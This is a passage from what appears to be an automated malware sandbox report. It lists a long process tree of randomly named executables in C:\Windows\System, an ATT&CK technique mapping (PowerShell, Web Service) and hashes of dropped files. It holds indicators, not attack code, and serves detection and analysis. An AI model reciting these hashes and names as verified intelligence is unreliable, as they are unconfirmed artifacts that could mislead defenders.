  C:\Windows\System\wgMXBWI.exe
  2⤵
  PID:6472
- C:\Windows\System\hBmDdnD.exe
  C:\Windows\System\hBmDdnD.exe
  2⤵
  PID:12908
- C:\Windows\System\jTJwESh.exe
  C:\Windows\System\jTJwESh.exe
  2⤵
  PID:6508
- C:\Windows\System\TpSOdAe.exe
  C:\Windows\System\TpSOdAe.exe
  2⤵
  PID:6536
- C:\Windows\System\MnpdqiV.exe
  C:\Windows\System\MnpdqiV.exe
  2⤵
  PID:6588
- C:\Windows\System\dyBNGMv.exe
  C:\Windows\System\dyBNGMv.exe
  2⤵
  PID:9660
- C:\Windows\System\UghSogj.exe
  C:\Windows\System\UghSogj.exe
  2⤵
  PID:13196
- C:\Windows\System\ztdwutc.exe
  C:\Windows\System\ztdwutc.exe
  2⤵
  PID:13244
- C:\Windows\System\hguRTOb.exe
  C:\Windows\System\hguRTOb.exe
  2⤵
  PID:13300
- C:\Windows\System\eCSUjef.exe
  C:\Windows\System\eCSUjef.exe
  2⤵
  PID:12392
- C:\Windows\System\PKeakVL.exe
  C:\Windows\System\PKeakVL.exe
  2⤵
  PID:12524
- C:\Windows\System\wXpvFHp.exe
  C:\Windows\System\wXpvFHp.exe
  2⤵
  PID:12728
- C:\Windows\System\jjNiHzw.exe
  C:\Windows\System\jjNiHzw.exe
  2⤵
  PID:12996
- C:\Windows\System\xidwTwe.exe
  C:\Windows\System\xidwTwe.exe
  2⤵
  PID:13200
- C:\Windows\System\GYtcorc.exe
  C:\Windows\System\GYtcorc.exe
  2⤵
  PID:10704
- C:\Windows\System\yQWCyfh.exe
  C:\Windows\System\yQWCyfh.exe
  2⤵
  PID:10760
- C:\Windows\System\hYBzjIK.exe
  C:\Windows\System\hYBzjIK.exe
  2⤵
  PID:10788
- C:\Windows\System\aYfJqiW.exe
  C:\Windows\System\aYfJqiW.exe
  2⤵
  PID:7812
- C:\Windows\System\btymLem.exe
  C:\Windows\System\btymLem.exe
  2⤵
  PID:5324
- C:\Windows\System\HEkYLyP.exe
  C:\Windows\System\HEkYLyP.exe
  2⤵
  PID:4384
- C:\Windows\System\pMCamsD.exe
  C:\Windows\System\pMCamsD.exe
  2⤵
  PID:8088
- C:\Windows\System\CrCewwP.exe
  C:\Windows\System\CrCewwP.exe
  2⤵
  PID:14280
- C:\Windows\System\eFLwDxa.exe
  C:\Windows\System\eFLwDxa.exe
  2⤵
  PID:10264
- C:\Windows\System\HgUpyZD.exe
  C:\Windows\System\HgUpyZD.exe
  2⤵
  PID:7080
- C:\Windows\System\wqcnxQU.exe
  C:\Windows\System\wqcnxQU.exe
  2⤵
  PID:216
- C:\Windows\System\nnLnsWZ.exe
  C:\Windows\System\nnLnsWZ.exe
  2⤵
  PID:11000
- C:\Windows\System\XnHKBTi.exe
  C:\Windows\System\XnHKBTi.exe
  2⤵
  PID:3248
- C:\Windows\System\ZuvLPcQ.exe
  C:\Windows\System\ZuvLPcQ.exe
  2⤵
  PID:11060
- C:\Windows\System\KubcmFF.exe
  C:\Windows\System\KubcmFF.exe
  2⤵
  PID:6112
- C:\Windows\System\cktNOnT.exe
  C:\Windows\System\cktNOnT.exe
  2⤵
  PID:5344
- C:\Windows\System\lUBvgMh.exe
  C:\Windows\System\lUBvgMh.exe
  2⤵
  PID:5556
- C:\Windows\System\WZScNcz.exe
  C:\Windows\System\WZScNcz.exe
  2⤵
  PID:11332
- C:\Windows\System\SoiakgV.exe
  C:\Windows\System\SoiakgV.exe
  2⤵
  PID:14276
- C:\Windows\System\SMEvDFG.exe
  C:\Windows\System\SMEvDFG.exe
  2⤵
  PID:5296
- C:\Windows\System\QUtzibX.exe
  C:\Windows\System\QUtzibX.exe
  2⤵
  PID:7140
- C:\Windows\System\fMHGHJz.exe
  C:\Windows\System\fMHGHJz.exe
  2⤵
  PID:5612
- C:\Windows\System\PuIJdvN.exe
  C:\Windows\System\PuIJdvN.exe
  2⤵
  PID:5708
- C:\Windows\System\EptzpKQ.exe
  C:\Windows\System\EptzpKQ.exe
  2⤵
  PID:12032
- C:\Windows\System\pHiiDSb.exe
  C:\Windows\System\pHiiDSb.exe
  2⤵
  PID:12108
- C:\Windows\System\mumXmdy.exe
  C:\Windows\System\mumXmdy.exe
  2⤵
  PID:8452
- C:\Windows\System\xetEygE.exe
  C:\Windows\System\xetEygE.exe
  2⤵
  PID:12284
- C:\Windows\System\ioMaXyl.exe
  C:\Windows\System\ioMaXyl.exe
  2⤵
  PID:11456
- C:\Windows\System\BBNfKvc.exe
  C:\Windows\System\BBNfKvc.exe
  2⤵
  PID:9356
- C:\Windows\System\BTYEcul.exe
  C:\Windows\System\BTYEcul.exe
  2⤵
  PID:5600
- C:\Windows\System\EPELbSM.exe
  C:\Windows\System\EPELbSM.exe
  2⤵
  PID:2976
- C:\Windows\System\XzgVrcb.exe
  C:\Windows\System\XzgVrcb.exe
  2⤵
  PID:13512
- C:\Windows\System\KAlfNay.exe
  C:\Windows\System\KAlfNay.exe
  2⤵
  PID:7456
- C:\Windows\System\PoTAILP.exe
  C:\Windows\System\PoTAILP.exe
  2⤵
  PID:9664
- C:\Windows\System\qnzqIfm.exe
  C:\Windows\System\qnzqIfm.exe
  2⤵
  PID:13832
- C:\Windows\System\sihSTqV.exe
  C:\Windows\System\sihSTqV.exe
  2⤵
  PID:9928
- C:\Windows\System\yXrOuqV.exe
  C:\Windows\System\yXrOuqV.exe
  2⤵
  PID:6044
- C:\Windows\System\IuWuPER.exe
  C:\Windows\System\IuWuPER.exe
  2⤵
  PID:1416
- C:\Windows\System\XryefJV.exe
  C:\Windows\System\XryefJV.exe
  2⤵
  PID:12296
- C:\Windows\System\cEGslyH.exe
  C:\Windows\System\cEGslyH.exe
  2⤵
  PID:12416
- C:\Windows\System\AAWSDAm.exe
  C:\Windows\System\AAWSDAm.exe
  2⤵
  PID:12488
- C:\Windows\System\vYJAyJE.exe
  C:\Windows\System\vYJAyJE.exe
  2⤵
  PID:10108
- C:\Windows\System\zunFawh.exe
  C:\Windows\System\zunFawh.exe
  2⤵
  PID:12748
- C:\Windows\System\ojxMAho.exe
  C:\Windows\System\ojxMAho.exe
  2⤵
  PID:14268
- C:\Windows\System\bMbqLhY.exe
  C:\Windows\System\bMbqLhY.exe
  2⤵
  PID:14284
- C:\Windows\System\pnBrMoA.exe
  C:\Windows\System\pnBrMoA.exe
  2⤵
  PID:3960
- C:\Windows\System\glVZJhi.exe
  C:\Windows\System\glVZJhi.exe
  2⤵
  PID:6800
- C:\Windows\System\MAWXaHP.exe
  C:\Windows\System\MAWXaHP.exe
  2⤵
  PID:13216
- C:\Windows\System\svIvmjf.exe
  C:\Windows\System\svIvmjf.exe
  2⤵
  PID:10576
- C:\Windows\System\mgkmwCq.exe
  C:\Windows\System\mgkmwCq.exe
  2⤵
  PID:13344
- C:\Windows\System\PGMbcoT.exe
  C:\Windows\System\PGMbcoT.exe
  2⤵
  PID:13396
- C:\Windows\System\iDqxxeW.exe
  C:\Windows\System\iDqxxeW.exe
  2⤵
  PID:13248
- C:\Windows\System\RmOqAFa.exe
  C:\Windows\System\RmOqAFa.exe
  2⤵
  PID:13088
- C:\Windows\System\HONoIjQ.exe
  C:\Windows\System\HONoIjQ.exe
  2⤵
  PID:10904
- C:\Windows\System\dKflUFS.exe
  C:\Windows\System\dKflUFS.exe
  2⤵
  PID:3428
- C:\Windows\System\WKqmwQJ.exe
  C:\Windows\System\WKqmwQJ.exe
  2⤵
  PID:5740
- C:\Windows\System\HwaBREo.exe
  C:\Windows\System\HwaBREo.exe
  2⤵
  PID:10568
- C:\Windows\System\WFJdWBD.exe
  C:\Windows\System\WFJdWBD.exe
  2⤵
  PID:4068
- C:\Windows\System\FztWVMW.exe
  C:\Windows\System\FztWVMW.exe
  2⤵
  PID:876
- C:\Windows\System\eHnTsul.exe
  C:\Windows\System\eHnTsul.exe
  2⤵
  PID:6088
- C:\Windows\System\KgAZXUx.exe
  C:\Windows\System\KgAZXUx.exe
  2⤵
  PID:2816
- C:\Windows\System\kBxjJsV.exe
  C:\Windows\System\kBxjJsV.exe
  2⤵
  PID:8496
- C:\Windows\System\loXlHlS.exe
  C:\Windows\System\loXlHlS.exe
  2⤵
  PID:11268
- C:\Windows\System\tzAerWX.exe
  C:\Windows\System\tzAerWX.exe
  2⤵
  PID:14240
- C:\Windows\System\DcbyrEL.exe
  C:\Windows\System\DcbyrEL.exe
  2⤵
  PID:11372
- C:\Windows\System\chRhHwb.exe
  C:\Windows\System\chRhHwb.exe
  2⤵
  PID:11716
- C:\Windows\System\wqPGPFi.exe
  C:\Windows\System\wqPGPFi.exe
  2⤵
  PID:13684
- C:\Windows\System\nzepXnf.exe
  C:\Windows\System\nzepXnf.exe
  2⤵
  PID:11608
- C:\Windows\System\rEnJaYv.exe
  C:\Windows\System\rEnJaYv.exe
  2⤵
  PID:8060
- C:\Windows\System\CmyUFVm.exe
  C:\Windows\System\CmyUFVm.exe
  2⤵
  PID:6672
- C:\Windows\System\ysAokzt.exe
  C:\Windows\System\ysAokzt.exe
  2⤵
  PID:9472
- C:\Windows\System\wKtDLWj.exe
  C:\Windows\System\wKtDLWj.exe
  2⤵
  PID:11836
- C:\Windows\System\SSOErQD.exe
  C:\Windows\System\SSOErQD.exe
  2⤵
  PID:11596
- C:\Windows\System\neqkrNX.exe
  C:\Windows\System\neqkrNX.exe
  2⤵
  PID:10104
- C:\Windows\System\xDmNhkm.exe
  C:\Windows\System\xDmNhkm.exe
  2⤵
  PID:12324
- C:\Windows\System\MnTBfbz.exe
  C:\Windows\System\MnTBfbz.exe
  2⤵
  PID:2896
- C:\Windows\System\DTYUvDw.exe
  C:\Windows\System\DTYUvDw.exe
  2⤵
  PID:9088
- C:\Windows\System\dURzdvO.exe
  C:\Windows\System\dURzdvO.exe
  2⤵
  PID:8148
- C:\Windows\System\oMqmTPp.exe
  C:\Windows\System\oMqmTPp.exe
  2⤵
  PID:13160
- C:\Windows\System\TyTEYfz.exe
  C:\Windows\System\TyTEYfz.exe
  2⤵
  PID:12548
- C:\Windows\System\TkASDPe.exe
  C:\Windows\System\TkASDPe.exe
  2⤵
  PID:12436
- C:\Windows\System\IHiIuVi.exe
  C:\Windows\System\IHiIuVi.exe
  2⤵
  PID:12112
- C:\Windows\System\MXDDzhC.exe
  C:\Windows\System\MXDDzhC.exe
  2⤵
  PID:13532
- C:\Windows\System\SEOgjXL.exe
  C:\Windows\System\SEOgjXL.exe
  2⤵
  PID:10516
- C:\Windows\System\ZpwreCa.exe
  C:\Windows\System\ZpwreCa.exe
  2⤵
  PID:10852
- C:\Windows\System\TKLitJz.exe
  C:\Windows\System\TKLitJz.exe
  2⤵
  PID:11204
- C:\Windows\System\alFhBXv.exe
  C:\Windows\System\alFhBXv.exe
  2⤵
  PID:6904
- C:\Windows\System\XGvdnLM.exe
  C:\Windows\System\XGvdnLM.exe
  2⤵
  PID:11448
- C:\Windows\System\EfpJCON.exe
  C:\Windows\System\EfpJCON.exe
  2⤵
  PID:11672
- C:\Windows\System\NAzOfnf.exe
  C:\Windows\System\NAzOfnf.exe
  2⤵
  PID:9288
- C:\Windows\System\eYjxFhC.exe
  C:\Windows\System\eYjxFhC.exe
  2⤵
  PID:11280
- C:\Windows\System\LwwxnGw.exe
  C:\Windows\System\LwwxnGw.exe
  2⤵
  PID:14116
- C:\Windows\System\xmzuPnX.exe
  C:\Windows\System\xmzuPnX.exe
  2⤵
  PID:14032
- C:\Windows\System\EkqbByp.exe
  C:\Windows\System\EkqbByp.exe
  2⤵
  PID:13140
- C:\Windows\System\NlPtrPh.exe
  C:\Windows\System\NlPtrPh.exe
  2⤵
  PID:12968
- C:\Windows\System\oXSqdSI.exe
  C:\Windows\System\oXSqdSI.exe
  2⤵
  PID:5912
- C:\Windows\System\ylzvTWT.exe
  C:\Windows\System\ylzvTWT.exe
  2⤵
  PID:760
- C:\Windows\System\GURDnGJ.exe
  C:\Windows\System\GURDnGJ.exe
  2⤵
  PID:11492
- C:\Windows\System\keizHSx.exe
  C:\Windows\System\keizHSx.exe
  2⤵
  PID:9276
- C:\Windows\System\YUtARlp.exe
  C:\Windows\System\YUtARlp.exe
  2⤵
  PID:11948
- C:\Windows\System\SwyrODt.exe
  C:\Windows\System\SwyrODt.exe
  2⤵
  PID:10988
- C:\Windows\System\CuhLAoZ.exe
  C:\Windows\System\CuhLAoZ.exe
  2⤵
  PID:11864
- C:\Windows\System\qPMgDZk.exe
  C:\Windows\System\qPMgDZk.exe
  2⤵
  PID:13252
- C:\Windows\System\sNZPISd.exe
  C:\Windows\System\sNZPISd.exe
  2⤵
  PID:11560
- C:\Windows\System\gUXSPzW.exe
  C:\Windows\System\gUXSPzW.exe
  2⤵
  PID:11256
- C:\Windows\System\HxINcZc.exe
  C:\Windows\System\HxINcZc.exe
  2⤵
  PID:14364
- C:\Windows\System\tpEiXEO.exe
  C:\Windows\System\tpEiXEO.exe
  2⤵
  PID:14396
- C:\Windows\System\PrcDOob.exe
  C:\Windows\System\PrcDOob.exe
  2⤵
  PID:14424
- C:\Windows\System\IJUEriG.exe
  C:\Windows\System\IJUEriG.exe
  2⤵
  PID:14452
- C:\Windows\System\OVDOyEK.exe
  C:\Windows\System\OVDOyEK.exe
  2⤵
  PID:14480
- C:\Windows\System\ZOmRfvs.exe
  C:\Windows\System\ZOmRfvs.exe
  2⤵
  PID:14508
- C:\Windows\System\TFrFVIe.exe
  C:\Windows\System\TFrFVIe.exe
  2⤵
  PID:14536
- C:\Windows\System\oswHoQC.exe
  C:\Windows\System\oswHoQC.exe
  2⤵
  PID:14564
- C:\Windows\System\VWznLrS.exe
  C:\Windows\System\VWznLrS.exe
  2⤵
  PID:14592
- C:\Windows\System\jaySOvW.exe
  C:\Windows\System\jaySOvW.exe
  2⤵
  PID:14620
- C:\Windows\System\ppPUFwC.exe
  C:\Windows\System\ppPUFwC.exe
  2⤵
  PID:14648
- C:\Windows\System\ZpmWVmo.exe
  C:\Windows\System\ZpmWVmo.exe
  2⤵
  PID:14676
- C:\Windows\System\lpyimZO.exe
  C:\Windows\System\lpyimZO.exe
  2⤵
  PID:14704
- C:\Windows\System\KFsWarN.exe
  C:\Windows\System\KFsWarN.exe
  2⤵
  PID:14732
- C:\Windows\System\PtYjVIL.exe
  C:\Windows\System\PtYjVIL.exe
  2⤵
  PID:14760
- C:\Windows\System\ifsTxUF.exe
  C:\Windows\System\ifsTxUF.exe
  2⤵
  PID:14788
- C:\Windows\System\tCMDqfm.exe
  C:\Windows\System\tCMDqfm.exe
  2⤵
  PID:14816
- C:\Windows\System\qhzfexs.exe
  C:\Windows\System\qhzfexs.exe
  2⤵
  PID:14844
- C:\Windows\System\sLaiqIl.exe
  C:\Windows\System\sLaiqIl.exe
  2⤵
  PID:14872
- C:\Windows\System\SpdwPdh.exe
  C:\Windows\System\SpdwPdh.exe
  2⤵
  PID:14900
- C:\Windows\System\TxPlLFk.exe
  C:\Windows\System\TxPlLFk.exe
  2⤵
  PID:14928
- C:\Windows\System\BoUWXpB.exe
  C:\Windows\System\BoUWXpB.exe
  2⤵
  PID:14956
- C:\Windows\System\jelrrwr.exe
  C:\Windows\System\jelrrwr.exe
  2⤵
  PID:14984
- C:\Windows\System\NmWwIWa.exe
  C:\Windows\System\NmWwIWa.exe
  2⤵
  PID:15012
- C:\Windows\System\ZqvlMIO.exe
  C:\Windows\System\ZqvlMIO.exe
  2⤵
  PID:15040
- C:\Windows\System\lCixJFn.exe
  C:\Windows\System\lCixJFn.exe
  2⤵
  PID:15072
- C:\Windows\System\jzsXYRm.exe
  C:\Windows\System\jzsXYRm.exe
  2⤵
  PID:15100
- C:\Windows\System\awHEPEe.exe
  C:\Windows\System\awHEPEe.exe
  2⤵
  PID:15128
- C:\Windows\System\CSeTpDw.exe
  C:\Windows\System\CSeTpDw.exe
  2⤵
  PID:15156
- C:\Windows\System\qpeHXrC.exe
  C:\Windows\System\qpeHXrC.exe
  2⤵
  PID:15184
- C:\Windows\System\yowbhMm.exe
  C:\Windows\System\yowbhMm.exe
  2⤵
  PID:15212
- C:\Windows\System\iWeXMwb.exe
  C:\Windows\System\iWeXMwb.exe
  2⤵
  PID:15240
- C:\Windows\System\CpjQtMC.exe
  C:\Windows\System\CpjQtMC.exe
  2⤵
  PID:15268
- C:\Windows\System\rZKuUpD.exe
  C:\Windows\System\rZKuUpD.exe
  2⤵
  PID:15296
- C:\Windows\System\cyJNvHy.exe
  C:\Windows\System\cyJNvHy.exe
  2⤵
  PID:15324
- C:\Windows\System\ekpORyP.exe
  C:\Windows\System\ekpORyP.exe
  2⤵
  PID:15352
- C:\Windows\System\ydVqJnw.exe
  C:\Windows\System\ydVqJnw.exe
  2⤵
  PID:14392
- C:\Windows\System\wTNxsEb.exe
  C:\Windows\System\wTNxsEb.exe
  2⤵
  PID:14448
- C:\Windows\System\RpCFBcC.exe
  C:\Windows\System\RpCFBcC.exe
  2⤵
  PID:14516
- C:\Windows\System\BudjtzL.exe
  C:\Windows\System\BudjtzL.exe
  2⤵
  PID:14580
- C:\Windows\System\hdZabcS.exe
  C:\Windows\System\hdZabcS.exe
  2⤵
  PID:14640
- C:\Windows\System\GwKcUGa.exe
  C:\Windows\System\GwKcUGa.exe
  2⤵
  PID:14712
- C:\Windows\System\gjsNIkO.exe
  C:\Windows\System\gjsNIkO.exe
  2⤵
  PID:14780
- C:\Windows\System\JruNAmb.exe
  C:\Windows\System\JruNAmb.exe
  2⤵
  PID:14836
- C:\Windows\System\SWtcaaP.exe
  C:\Windows\System\SWtcaaP.exe
  2⤵
  PID:14896
- C:\Windows\System\gBKbOpj.exe
  C:\Windows\System\gBKbOpj.exe
  2⤵
  PID:14964
- C:\Windows\System\fCOHbhX.exe
  C:\Windows\System\fCOHbhX.exe
  2⤵
  PID:15036
- C:\Windows\System\TxWbzbO.exe
  C:\Windows\System\TxWbzbO.exe
  2⤵
  PID:13452
- C:\Windows\System\qzYKccd.exe
  C:\Windows\System\qzYKccd.exe
  2⤵
  PID:15116
- C:\Windows\System\zVshwDY.exe
  C:\Windows\System\zVshwDY.exe
  2⤵
  PID:15176
- C:\Windows\System\ChTqbVR.exe
  C:\Windows\System\ChTqbVR.exe
  2⤵
  PID:13572
- C:\Windows\System\TIcqaBv.exe
  C:\Windows\System\TIcqaBv.exe
  2⤵
  PID:15256
- C:\Windows\System\pbPtcfY.exe
  C:\Windows\System\pbPtcfY.exe
  2⤵
  PID:5604
- C:\Windows\System\UYWQLOj.exe
  C:\Windows\System\UYWQLOj.exe
  2⤵
  PID:14352
- C:\Windows\System\KpOHFMo.exe
  C:\Windows\System\KpOHFMo.exe
  2⤵
  PID:14500
- C:\Windows\System\usUqnhY.exe
  C:\Windows\System\usUqnhY.exe
  2⤵
  PID:15048
- C:\Windows\System\ceskjCV.exe
  C:\Windows\System\ceskjCV.exe
  2⤵
  PID:14796
- C:\Windows\System\viCTBEf.exe
  C:\Windows\System\viCTBEf.exe
  2⤵
  PID:14916
- C:\Windows\System\oiNUjCG.exe
  C:\Windows\System\oiNUjCG.exe
  2⤵
  PID:15060
- C:\Windows\System\cekRaqe.exe
  C:\Windows\System\cekRaqe.exe
  2⤵
  PID:15164
- C:\Windows\System\sbyMcpl.exe
  C:\Windows\System\sbyMcpl.exe
  2⤵
  PID:15276
- C:\Windows\System\rImToWV.exe
  C:\Windows\System\rImToWV.exe
  2⤵
  PID:14440
- C:\Windows\System\QUeUlqG.exe
  C:\Windows\System\QUeUlqG.exe
  2⤵
  PID:14768
- C:\Windows\System\VPbgGjC.exe
  C:\Windows\System\VPbgGjC.exe
  2⤵
  PID:13772
- C:\Windows\System\hSPIKeN.exe
  C:\Windows\System\hSPIKeN.exe
  2⤵
  PID:13788
- C:\Windows\System\rCLHvBT.exe
  C:\Windows\System\rCLHvBT.exe
  2⤵
  PID:15312
- C:\Windows\System\giLvUoj.exe
  C:\Windows\System\giLvUoj.exe
  2⤵
  PID:14404
- C:\Windows\System\ENwvnaX.exe
  C:\Windows\System\ENwvnaX.exe
  2⤵
  PID:15000
- C:\Windows\System\PwZlDAc.exe
  C:\Windows\System\PwZlDAc.exe
  2⤵
  PID:3892
- C:\Windows\System\JqzDUKd.exe
  C:\Windows\System\JqzDUKd.exe
  2⤵
  PID:13836
- C:\Windows\System\WTZqjll.exe
  C:\Windows\System\WTZqjll.exe
  2⤵
  PID:15376
- C:\Windows\System\dfGatWJ.exe
  C:\Windows\System\dfGatWJ.exe
  2⤵
  PID:15404
- C:\Windows\System\ngfZXnP.exe
  C:\Windows\System\ngfZXnP.exe
  2⤵
  PID:15432
- C:\Windows\System\INdcqaU.exe
  C:\Windows\System\INdcqaU.exe
  2⤵
  PID:15460
- C:\Windows\System\jrOcbMs.exe
  C:\Windows\System\jrOcbMs.exe
  2⤵
  PID:15488
- C:\Windows\System\oBOaPKU.exe
  C:\Windows\System\oBOaPKU.exe
  2⤵
  PID:15516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qbjgqxec.aon.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\DhmZPsK.exe

Filesize
4.2MB

MD5
959861fbd641e6fa76c5ce80748dd9d5

SHA1
f0fa4a9cc4d9d39232afb3e69dba701b67f81ae3

SHA256
e6612f0da2780786f5d8f4962dc9ef1e580012386e741ea017f236d5cd173a01

SHA512
b99ace97925a502de581c69b17d19d9fbfe489b4ad19c08104d25e69c23df869c6b798067490beedaf5664a5ad1e3da387987c9d70ff8f2968dccd59ffe584f5

Download Submit
C:\Windows\System\EsIUVpV.exe

Filesize
4.2MB

MD5
7277df11680842b75d833ebf3fb542c1

SHA1
b4a480c60e4361fc67eb06ddb082ceea697403f0

SHA256
a22f92e57ea0380ef4103b2c6c80c2de54be50c68e038ff4083e8e4078fa9d0f

SHA512
679c8e22a26284bf364510c56b662a7225cda16d4ae28969fe43553739734a10672ba41ccf91b182e40e47604d9eacad68a78325d25d68ead5d8b8f359d822fc

Download Submit
C:\Windows\System\JdsaLPM.exe

Filesize
4.2MB

MD5
e71b856c5aac6e917ead55dfa902f4f3

SHA1
a4a79e605cc7ab86604c5be00419e1805e65c5c2

SHA256
cf827551d33cf2ef777fee2b06a7845daa8a5e0c1dff954113a2a5990480d909

SHA512
ad950a6d2100bd492201e3e165609cdfab60f751adb9423f631fc5ef891c4cce6af8c19275841745b23a598c022d87a3d317ee59c6ddb7282dc7c7759cef6b1c

Download Submit
C:\Windows\System\JycuWMz.exe

Filesize
4.2MB

MD5
cd56524063a864e3a2e8db525d9f0e41

SHA1
820439cfb3536ee1f306fd6cc7114dce3bb5b3ae

SHA256
1d7308c626e6234b3f04c99d6cda78ac59dfb4044394574be16e5322550805bc

SHA512
06559a0cb76b795ea6831a51ce47ecf364f2545d64769b30508ba3d1b5e0234e8c4b2f71c52d1e03c3c0fecef3d7f18fb8e74dfec96e70e544265ef790e4c842

Download Submit
C:\Windows\System\MXzwJAx.exe

Filesize
4.2MB

MD5
a543577c88e38c1ddffd19df9fff6459

SHA1
004a7c426ef3ff5a0f3bd2afb2521e1cf74977cc

SHA256
aa3c8fe5b4251a6462ecc6a268b30809209b73b7b175a3fe9214ccfa3ae245c0

SHA512
29f46134386fbe89b0c8a755d76507c5380dd9db4bf883fb7fe631022886ef14e1004118897734c5a3720895c123085aee55d5ef655add7f92918f9c44d5ccc8

Download Submit
C:\Windows\System\OIzyDep.exe

Filesize
4.2MB

MD5
54501819c9c3c3af71a430a3d73b03eb

SHA1
9af72d91287c065665a7e0250a425d8436d8a211

SHA256
a4d3441eaaae373bb3a6f55d77a0365a3bd752fd73cab1956ade6957d72bc60a

SHA512
a3a60b2a57b641ed06fb26b3f29f543691345f9c96d45dc4aca1dcb5e5724f9437607f17601e805604e4e7847994f63ed63542a3072c6e45849158532d3b2c98

Download Submit
C:\Windows\System\PCVVTGc.exe

Filesize
4.2MB

MD5
ed87aa7199829a679d472dca7086ccca

SHA1
42ad8359e932fd234341c093b3c08873c47b796c

SHA256
e6109fa0217cecd428ef7fef8b4c4cfe98b5c4a3bb8f5d7ce09858489b04268f

SHA512
8d139ab8ad7d2a0d71d9d225ef53e1ce9c9193abc77d59a2266418aa220d83d1a8a402028a59f512621ec7c70afb9d3fcb8eb0bdb0f53b052bbabc69b6421e3f

Download Submit
C:\Windows\System\QEGMzJC.exe

Filesize
4.2MB

MD5
56c697479e07694fdb3f9a187016e80f

SHA1
fcb07b9bba654ff9e71dbe0a9255d5cd39fde58a

SHA256
ad51b2e29bec7c0759d811d43639c7fffa9338262e4b5e04c919a450f08c0092

SHA512
1fe158f14ddcb5ff125e11c3cc1c985f1f9ff062b6f43eafe41a6c425bb315c6b4ce14827f2204f50a23e1f84f0ada1b409d3cbb58c260b7409b676399d702ac

Download Submit
C:\Windows\System\RXLRLNr.exe

Filesize
4.2MB

MD5
5459144a3f0fe1e801fabad53ddc72ef

SHA1
5197878442dbf812c7809afe36f5a8a1c9ed4854

SHA256
bac7902352ff4b987ec4bec9552225507a58f3077b67722d2d898872afae6f70

SHA512
521fac194c788c52ef83e2ed8bc543bcc628777e58aabfe6479297035c2015fdd3e50cba2817ce4ba86770a7b2eaffb583619228662687b98251bbd276746e7b

Download Submit
C:\Windows\System\TjSFZbH.exe

Filesize
4.2MB

MD5
bb939eba80bcbddca8b1a1ee61bcfe82

SHA1
c9b37123d35aa185dc5eeb493d585fb040c8b46e

SHA256
3142ddc5485d3fad2e796814ee781cbaca45abe6c43883977e5da2a8e781b747

SHA512
0ca5071c0c86868143f130b0efa635cb7c400232c87f9e49d68d8c84e561cc42a1e3aea044cabd51ca9159cc0be4af5ea20d3242f1fb2c329c89e3e472aa9a19

Download Submit
C:\Windows\System\UxyYsxe.exe

Filesize
4.2MB

MD5
0b799d1c36cb7994b8ee3ed67cac7f84

SHA1
89d0569776ba590c328bec7caf319692bffc74e9

SHA256
85a1260661fe0602266a8cdc1bccfc5a968d802aaca8d9caa1346efac4141fc6

SHA512
28325655c6c08d4b4c0094bf75b0dee9aa129a7c8859adbe89476ddfbf1d554faefe2a72cf36186fc02735684b446b5f05bc3583e6376e5c458d200d6fe51ecf

Download Submit
C:\Windows\System\VeWSAfG.exe

Filesize
4.2MB

MD5
28dfbcd8fc61913b89fa3588344e028f

SHA1
1d2556e1a72603939126d913d709d43aa5dd7852

SHA256
7a158a1f867a082a8fdfa58df22e8cfdc48d7e1406240ff84e2815e444543125

SHA512
4522eb21cc5790dc2a5205586c33182bb4ce75b8cbfa78b1f1b3d4f41596874ec5dddfbdd5b0b4f54c9a9aa985f041a30376dbcc1edb5e2cc8afa91d9304f184

Download Submit
C:\Windows\System\WHPQezc.exe

Filesize
4.2MB

MD5
32649d4c53b961158a4f90be7d728df8

SHA1
ed3bd63f2ee6fc79b7ad576edf9c24dcc694aaf6

SHA256
6869dee48a3112ce4d421e3bc357bc863cc958e1c65d444b14b158f6d41357f9

SHA512
e582669c80fdab0eae5c787959d256668952af1509f2a9ca6846b03db83705b48cdbe670603838ceb1d69be4d25421a3dffcc737f3a20041b39f355bd0b15592

Download Submit
C:\Windows\System\WbrqhLJ.exe

Filesize
4.2MB

MD5
b80b424c8130267545bf86b31cb3ebb7

SHA1
c5903272f53a1593293cab3e5184c60248579a43

SHA256
fc6e50ec19b2751d5b0c40dbf9d7794145e70ac3a01e8c1c40bca1bab8586c05

SHA512
b99ae0f94a2a07ed6a8b639c65cf44d999e4fe170775d1447a4021657f53e2fdeb667b4323dbceb6e12d9158253b9b79bfa682706993e6199942b2f7311837bd

Download Submit
C:\Windows\System\XKXSTgH.exe

Filesize
4.2MB

MD5
d50e2e4b65df81abc42fe5bddbc225e2

SHA1
6271811a9fedf83a73dd17d56cda9d650869ef47

SHA256
d1843f098ae4716a93872b0ef4f05cbdceeb57b01f388c101687afc995184662

SHA512
ad158b76c38f3dd7152d36b57ffd138c9bc7c9e6bc2748dbe6fc98af07d26493e426af11b98b7fbeb2f69be99346d88c1e0a01daeacab88fb13d5e76aa362ecc

Download Submit
C:\Windows\System\YzgKlsj.exe

Filesize
8B

MD5
bb619ca80177568a9850ff8d7dc139bc

SHA1
39598cf7a1b2d3ae37699a3d204bcb3b9a800338

SHA256
755fd52af881e52d8581734deed65b261324bea5979dbb6c3cb63a484774b291

SHA512
77a78bba51b6f52cc6161f41e26d3b06c03e53c642da1fce66ee01b29a74a58b514da40bb12a8dbaffc02d45dc730672ed991bf1ba6f8df90e20af812fc0abd2

Download Submit
C:\Windows\System\ZUXkTUU.exe

Filesize
4.2MB

MD5
0370abc70d46f73633ab5f135c39bc6d

SHA1
15f1f08fca94bcfdc2af085df57cdce4c9323417

SHA256
f2aaf55e6e2396ceb4220eb840b343945cb41867a4fb3e253cab991e65aba00b

SHA512
1301863683762fa8ac0b0c122b292bfc704449ecb9b5a8999801de7f00645310c035a188cc453d9ed404e3cf1bed11994f22b247b2aef2503f5dff80858f18c8

Download Submit
C:\Windows\System\azRZLCT.exe

Filesize
4.2MB

MD5
3b9bfb154ae74b4c6497380a324c83b9

SHA1
